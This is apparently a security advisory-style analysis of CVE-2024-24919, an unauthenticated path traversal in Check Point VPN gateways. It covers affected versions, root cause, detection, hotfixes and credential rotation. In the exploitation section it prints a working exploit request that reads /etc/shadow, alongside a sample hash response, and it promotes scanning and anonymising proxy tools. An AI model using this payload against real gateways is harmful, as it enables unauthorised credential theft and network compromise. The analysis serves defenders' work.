Technical Analysis of CVE-2024-24919
CVE-2024-24919 is a critical information disclosure vulnerability affecting Check Point Security Gateways, specifically those configured with the "Remote Access VPN" or "Mobile Access" software blades. This unauthenticated path traversal flaw allows a remote attacker to read arbitrary files on the underlying Linux-based Gaia operating system. The vulnerability stems from insufficient input validation in the web management interface used to serve VPN client resources. Due to the high-privileged nature of the vulnerable process, attackers can retrieve sensitive system files, including /etc/shadow, which contains password hashes for local accounts, potentially leading to a full compromise of the gateway and lateral movement into the internal network.
Affected Architectures and Product Versions
The vulnerability impact spans multiple generations of Check Point hardware and virtual appliances. The risk is present only if the gateway has the Remote Access VPN or Mobile Access blades enabled. Identification of exposed gateways can be streamlined using reconnaissance tools like Zondex, which can pinpoint internet-facing Check Point management interfaces that may be running vulnerable software versions.
| Product Family | Vulnerable Versions | Remediation Requirement |
|---|---|---|
| Quantum Security Gateway / CloudGuard | R81.20, R81.10, R81, R80.40 | Jumbo Hotfix Accumulator or Specific Hotfix |
| Quantum Spark Appliances | R81.10.x, R80.20.x, R77.20.x | Firmware Update / Security Hotfix |
| Quantum Maestro / Scalable Chassis | R81.20, R81.10, R80.40, R80.30SP, R80.20SP | System-wide Hotfix Application |
Path Traversal Root Cause Analysis
The flaw resides in the handling of HTTP POST requests to specific endpoints designed to facilitate the downloading of VPN client components and Certificate Revocation Lists (CRLs). Specifically, the endpoint /clients/MyCRL (and variations such as /clients/MyExposedRoot) fails to correctly sanitize path components when a specific internal prefix is provided in the request body. Technical reversal of the patch indicates that the web server logic improperly handles the aCSHELL/ prefix followed by directory traversal sequences (../).
When the gateway's web server receives a request with the aCSHELL string, it treats the subsequent string as a path relative to a specific directory. However, because the server does not block or normalize the "double dot" sequence, an attacker can escape the intended directory and access the root filesystem. Because the process handling these requests typically runs with high privileges (often as root or a high-privilege service account), the traversal is not restricted to public or non-sensitive directories.
Exploitation Methodology and Payload Structure
Exploitation of CVE-2024-24919 is trivial and requires no authentication or user interaction. An attacker sends a crafted POST request to the vulnerable endpoint. During security research or authorized testing, practitioners often use GProxy to route their traffic and maintain anonymity while interacting with target infrastructure. The request structure involves a POST body containing the traversal string, as shown in the following technical example:
POST /clients/MyCRL HTTP/1.1
Host: [Target_IP]
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
aCSHELL/../../../../../../../../../../../../etc/shadowThe gateway responds with the raw contents of the requested file. A successful exploitation attempt against /etc/shadow typically returns a response similar to the following, exposing the root and admin password hashes:
HTTP/1.1 200 OK
Content-Type: text/plain
root:$6$rounds=5000$randomsalt$hashedpassword:19860:0:99999:7:::
admin:$6$rounds=5000$anothersalt$anotherhash:19860:0:99999:7:::
[...]In addition to system credential files, researchers have noted that other sensitive configurations can be read, such as ipsec_users.conf or Active Directory connection details. Automated vulnerability assessment platforms like Secably can be utilized to scan large IP ranges for this specific behavior, ensuring that every gateway in a distributed architecture is accounted for and verified against the vulnerability.
Post-Exploitation Risks and Lateral Movement
The primary risk following successful file extraction is the cracking of local account hashes. Check Point Gaia OS uses standard Linux hashing (SHA-512), but if local accounts are used for VPN authentication or management, they often lack the robust multi-factor authentication (MFA) found in centralized identity providers. Attackers who crack these hashes can then log in to the gateway via SSH (Expert Mode) or the WebUI (SmartConsole).
Observational data from incident response teams indicates that threat actors have successfully transitioned from this initial access to full domain compromise. In several cases, attackers extracted the ntds.dit database from a domain controller after obtaining AD-integrated service account credentials stored on the Check Point gateway. This sequence—from unauthenticated file read to domain admin—highlights the critical severity of CVE-2024-24919.
Detection Strategies and Log Analysis
Detecting exploitation of CVE-2024-24919 can be challenging because the standard httpd_access_log on Check Point devices does not always log the specific POST body containing the traversal payload. However, forensic indicators may be present in other system logs or via network-level inspection.
- Network Monitoring: Look for POST requests to
/clients/MyCRLor/clients/MyExposedRootwhere the payload containsaCSHELLor multiple../sequences. - System Logs: Check
/var/log/messagesand/var/log/securefor unusual login activity. If an attacker cracks a local hash, they will likely attempt to log in shortly after the file extraction. - Check Point Management Logs: Review "SmartConsole" logs for any administrative logins from unexpected IP addresses, particularly those associated with VPN or SSH access.
Check Point has provided a diagnostic script (check_for_CVE-2024-24919.sh) that can be run in Expert Mode to determine if the gateway is vulnerable. This script checks the software version and identifies if the specific vulnerable configurations are active.
Remediation and Mitigation
The only complete remediation for CVE-2024-24919 is the application of the official hotfixes provided by Check Point. These fixes introduce robust input validation to the vulnerable endpoints, effectively neutralizing the path traversal mechanism. Administrators should prioritize gateways that are directly reachable from the public internet.
The following table outlines the minimum Jumbo Hotfix Accumulator (JHA) takes required for protection:
| Version | Required Jumbo Hotfix Take |
|---|---|
| R81.20 | Take 65 |
| R81.10 | Take 150 |
| R81 | Take 99 |
| R80.40 | Take 211 |
After patching, it is strongly recommended to rotate all passwords for local accounts, as there is no reliable way to confirm if a file read occurred prior to the hotfix application. Furthermore, any certificates or SSH keys stored on the gateway should be considered compromised and re-issued. Disabling the use of local accounts for VPN access in favor of centralized authentication with MFA is a critical secondary defense to mitigate the impact of similar information disclosure flaws in the future.